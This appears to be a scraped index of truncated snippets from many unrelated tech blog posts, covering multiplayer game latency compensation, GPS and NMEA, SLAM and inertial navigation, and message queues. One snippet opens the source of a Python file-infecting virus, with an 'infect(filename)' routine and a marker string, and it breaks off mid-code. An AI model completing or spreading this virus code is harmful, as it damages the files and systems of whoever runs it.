Targeting A target is a structure of information that describes the state, and change of state, of an object that exists in a remote person's instance of a game. When you fire your laser, you send a packet of data to the server saying that You shot t…

1. Introduction The Saga of Ryzom is a persistent massively-multiplayer online game (MMORPG) released in September 2004 throughout Europe and North America, localised in 3 languages so far. It has been developed by Nevrax since 2000, and was taken ov…

GPS接收机串行通信标准摘要 参考NMEA-0183 美国国家海洋电子协会(NMEA—The NationalMarine Electronics Association) 为了在不同的GPS导航设备中建立统一的RTCM(海事无线电技术委员会)标准,先后制定了NMEA-0180.0182和0183三个标准.0183可以认为是前两种的升级,也是目前使用最为广泛的一种.目前广泛采用的是Ver 2.00版本.现在除少数GPS接收机外,几乎所有的GPS接收机均采用了这一格式. 接口电平 符合NMEAO1…

http://www.gabrielgambetta.com/fpm1.html —————————————————————————————————————————————————————— Fast-paced Multiplayer (Part I): Introduction Introduction This is the first in a series of articles exploring the techniques and algorithms that make fas…

cg教程下载: http://cgpeers.com http://cgpersia.com http://bbs.ideasr.com/forum-328-1.html http://bbs.ideasr.com/forum-337-1.html  (杂志&期刊) http://www.rr-sc.com/ http://forum.gfxnews.orghttp://rutracker.org www.9iv.com http://www.ccgtv.cn/     资讯 http://ww…

PART I GROUNDWORK CHAPTER 1 Introduction CHAPTER 2 One on One (101) CHAPTER 3 Overview of the Internet CHAPTER 4 More Than Two PART II FOUNDATIONS CHAPTER 5 Issues in Networking Graphics CHAPTER 6 Sockets and Middleware CHAPTER 7 Middleware and Messa…

一.环境需求 二.怎样使用 三.本地化 3.1扩展卡尔曼滤波本地化 3.2无损卡尔曼滤波本地化 3.3粒子滤波本地化 3.4直方图滤波本地化 四.映射 4.1高斯网格映射 4.2光线投射网格映射 4.3k均值物体聚类 4.4圆形拟合物体形状识别 五.SLAM 5.1迭代最近点匹配 5.2EKF SLAM 5.3FastSLAM 1.0 5.4FastSLAM 2.0 5.5基于图的SLAM 六.路径规划 6.1动态窗口方式 6.2基于网格的搜索 迪杰斯特拉算法 A*算法 势场算法 6.3模型预测…

Ruizhi Chen, Heidi Kuusniemi, Yuwei Chen, Ling Pei, Wei Chen, Jingbin Liu, Helena Leppäkoski, Jarmo Takala Currently, no single technology, system, or sensor can provide a positioning solution any time, anywhere. The key is to utilize multiple techno…

https://www.gpsworld.com/resources/archives/ Going 3D Personal Nav and LBS To enrich user experience of location-based services  and personal navigation, three-dimensional models such as those used in urban planning are added to a smartphone platform…

何为延迟补偿?如何进行坐标差值?B客户端屏幕上A已经跑到东边了,但是收到服务器说"A正在西边往北跑",B到底该何去何从?我若干年前的一个实现版本,将简明扼要的解决这个问题: 影子跟随算法由普通DR(dead reckoning)算法发展而来,我将其称为"影子跟随"意再表示算法同步策略的主要思想: 屏幕上现实的实体(entity)只是不停的追逐它的"影子"(shadow). 服务器向各客户端发送各个影子的状态改变(坐标,方向,速度,时间). 各个客…

Timing delays in a double data rate (DDR) dynamic random access memory (DRAM) controller (114, 116) are trained. A left edge of passing receive enable delay values is determined (530). A final value of a receive data strobe delay value and a final va…

http://exploredegrees.stanford.edu/coursedescriptions/cs/ CS 101. Introduction to Computing Principles. 3-5 Units. Introduces the essential ideas of computing: data representation, algorithms, programming "code", computer hardware, networking, s…

全手打原创,转载请标明出处:https://www.cnblogs.com/dreamsqin/p/12529885.html,多谢,=.=~ (如果对你有帮助的话请帮我点个赞啦) 通常情况下,我们利用HTML5的canvas,CSS3的transform.transition.animation实现动画效果,但是今天为了实现相册组件中scrollLeft改变的动效,怎么用js实现动画还不影响效果和性能~=.=,居然让我发现了一个神奇的存在:requestAnimationFrame,下面来深入…

桔妹导读:机场.商场.火车站等大型室内场所内GPS信号不稳定.室内面积大.路线复杂.用户判断方向难等问题,给在大型场所内发单的乘客找上车点带来了很大的挑战,用户急需一种操作简单.交互友好的引导功能.本文讲述了使用三维重建技术.传感器计算技术和增强现实(AR)技术所开发的滴滴AR实景导航产品,并对开发过程中遇到的难点.挑战和解决思路展开介绍. 相信很多人都有过这样的经历:来到一个自己不熟悉的场景,特别是在一些GPS信号不准确的室内场所,很难找到建筑物内部的一些特定地点.本文将以帮助用户在大型机场等…

https://blog.csdn.net/left_la/article/details/6347373 感谢强大的google翻译. 我从中认识到了航位推算dead reckoning,立方体样条Cubic Splines 算法. 我单独查找了 Cubic Splines ,里面的原理简单说明: Cubic Splines 认为在 x 在[a, b]区间中,y对应是一条平滑的曲线,所以 y = f(x); 的一阶导函数和二阶导函数是平滑连续可导的. 拟定用三次方程,所以得出了一般的三次方程和…

目录 1.[第3类]LRF(LDS)传感器 2 1.1 传感器包安装 2 1.1.1 传感器端口访问设置 2 1.1.2 运行hlds_laser_publisher节点 2 1.1.3 在RViz中运行hlds_laser_publisher节点 3 1.2 传感器源代码下载 3 1.2.1建筑资料来源守则 4 1.2.2在CLI环境下运行 4 1.2.3 在GUI环境上运行 4 1.2.4运行在嵌入式董事会 5 1.2.4.1 从OpenCR导入LDS传感器 6 2.SLAM 7 2.1.…

IMU姿态惯性推导 最近从事行人惯性导航的研究,本人也是一个小白,其中看了很多文献,有很多个人思考很费时间的地方,撰写此随笔的目的不仅是给自己做一个笔记,也是给各位有需要的仁兄一点个人理解. 本文只关于使用IMU传感器为主的行人导航算法. 本文为一篇行人惯性导航的入门,主要针对其中重要的涉及的知识点之间的解释.串联,包括航向更新.速度更新.位置更新.坐标变换原理即代码,不深究其推导.要是有什么讲得不对的地方,请给予指正,谢谢. 引言 以IMU为主,其他传感器(多为磁力计.高度计.气压计.压力传感…

What's KMD? 乱世出英雄,KMD名字的由来充满了杀气. Kill AMD and CMD KMD为替代混乱的AMD和CMD世界而生,一统天下.或者让这个混乱的世界更加混乱,导致: KMD AMD CMD三分天下 KMD的目标从来都是远大的: JS工程化终极解决方案 使用KMDjs的工程师从来都是: 尼玛,什么东西,这么NB? KMD规范 0.KMD只暴露两个关键字,一个是define用来定义模块和加载模块,一个是kmdjs,用来使用kmdjs.config 1.通过define定义命名…

稍微纤细一点儿的信息是: Handler (android.os.Handler) {215ddea8} sending message to a Handler on a dead thread. 在另一次在IntentService里使用MediaPlayer 播放铃声也再现错误,信息是:Handler) {42414500} sending message to a Handler on a dead thread. 本次的完整信息是: W/ActivityManager( 1394):…

Learn from here Initial #!/usr/bin/python2.7 #MAGIC_STRING_skd83749872 import os import __main__ import random def infect(filename): os.rename(filename, filename + '~') destination = open(filename, "w") source = open(filename + "~", &q…

这篇博客是上一篇博客Oracle shutdown immediate遭遇ORA-24324 ORA-24323 ORA-01089的延伸(数据库挂起hang时,才去重启的),其实这是我们海外一工厂的遇到的案例,把内容拆开是因为这个case分开讲述显得主题明确一些.正式进入主题: 服务器数据库版本Oracle Database 10g Release 10.2.0.4.0,操作系统为Red Hat Enterprise Linux Server release 5.7,虚拟机.当时告警日志里面出…

现在我使用nagios来监控hadoop的核心进程,rm,nm,dn,nn,zkfc,jn,zk等,但是有时候进程虽然还在,但是日志不刷新,web ui上可以看到有些datanodes节点已经变为dead状态,不服务. 为了在nagios中显示出dead的datanodes我写了自定义的插件,在某一台nn节点上配置了一个command.代码要点, 首先要获取active的namenode,我们关注的是active的,不是standby的. 第二步,通过curl jmx的方法来获取我们想要的信息,…

Like ever, today’s article of Pinal Dave was interesting and informative. After, our mutual discussion between our DBAs and Developers on Pinal Dave topic of Concurrency and Isolation. I felt that most of us are intermingling three equally sounding w…

博客搬到了fresky.github.io - Dawei XU,请各位看官挪步.最新的一篇是:查找无用代码Dead Code的一些心得.…

经常使用MyEclipse要么Eclipse编辑写java程序猿代码.您可能经常会遇到一个黄色警戒线:dead code:一般程序猿遇到这些问题都会置之不理,反正也不影响程序的编译运行.对,这不是bug,仅仅是一个提示,对于一个有强迫症的程序猿来说,他非要代码一点问题都没有,包含黄线警告都要消灭掉,这里简单说下dead code 即死代码.无作用的代码提示的原因和解决方法. 顾名思义,死代码.即你编写的那一行是无效代码,可有可无,说白了就是一行废话:这是你就要看一下这一行的处理逻辑是什么,可能是…

对于有异常的消息我们可以有如下做法: 记录下来再ack. nack或者reject,同时将requeue设为false. 在第2条的基础上增加死信(Dead Letter).   上边的第3个做法可以让这些异常的消息进入一个异常消息队列,等待我们的处理.   一个消息成为死信有以下几种原因: rejected - 也就是上边第2种做法 expired - 超过了队列设置的TTL(该值为消息在队列中停留最大时长,注意在达到TTL时消息为“Ready”状态才会过期生效) maxlen - 队列里的消…

option=com_onlinejudge&Itemid=8&category=516&page=show_problem&problem=1496" style="">题目链接:uva 10555 - Dead Fraction 题目大意:给出一个小数,从...開始能够是不论什么数字,可是保证是无限循环小数.将该小数用分式的形式表示,而且要求分母尽量大. 解题思路:这题主要是怎么将无限循环小数转换成分式,这种: 有小数0.abcdEE…

POJ 1930 Dead Rraction 此题是一个将无限循环小数转化为分数的题目 对于一个数 x=0.abcdefdef.... 假设其不循环部分的长度为m(如abc的长度为m),循环节的长度为n(def的长度为n),此时的主要目的是消除后面的循环部分, x*10^(m+n)=abcdef.defdef...        x*10^n=     abc.defdef.. 通过比较两式,做减法可消除循环部分· x*10^n*(10^m-1)=abcdef-abc(整数) x=(abcdef…

一:throws 和 trycatch 差别 (1)比如.publicFileWriter(String fileName) throws IOException{} 我在mian中创建一个FileWrite对象 importjava.io.*; publicclass ShengmingThrows {      public static void main(String[] args){          try{          FileWriter fw=new FileWriter…

在复杂的应用环境下,我们经常会遇到一些非常复杂并且有意思的问题,例如,我们会遇到网络异常(网络掉包.无线网络断线).客户端程序异常(例如应用程序崩溃Crash).操作系统蓝屏.客户端电脑掉电.死机重启等异常情况,此时数据库连接可能都没有正常关闭(Colse).事务都没有提交,连接(connections)就断开了.如果遇到这些情况,你未提交的一个事务在数据库中是否会回滚? 如果回滚,什么条件才会触发回滚?需要多久才会触发回滚(不是回滚需要多少时间)?如果是一个查询呢,那么情况又是怎么样呢?ORA…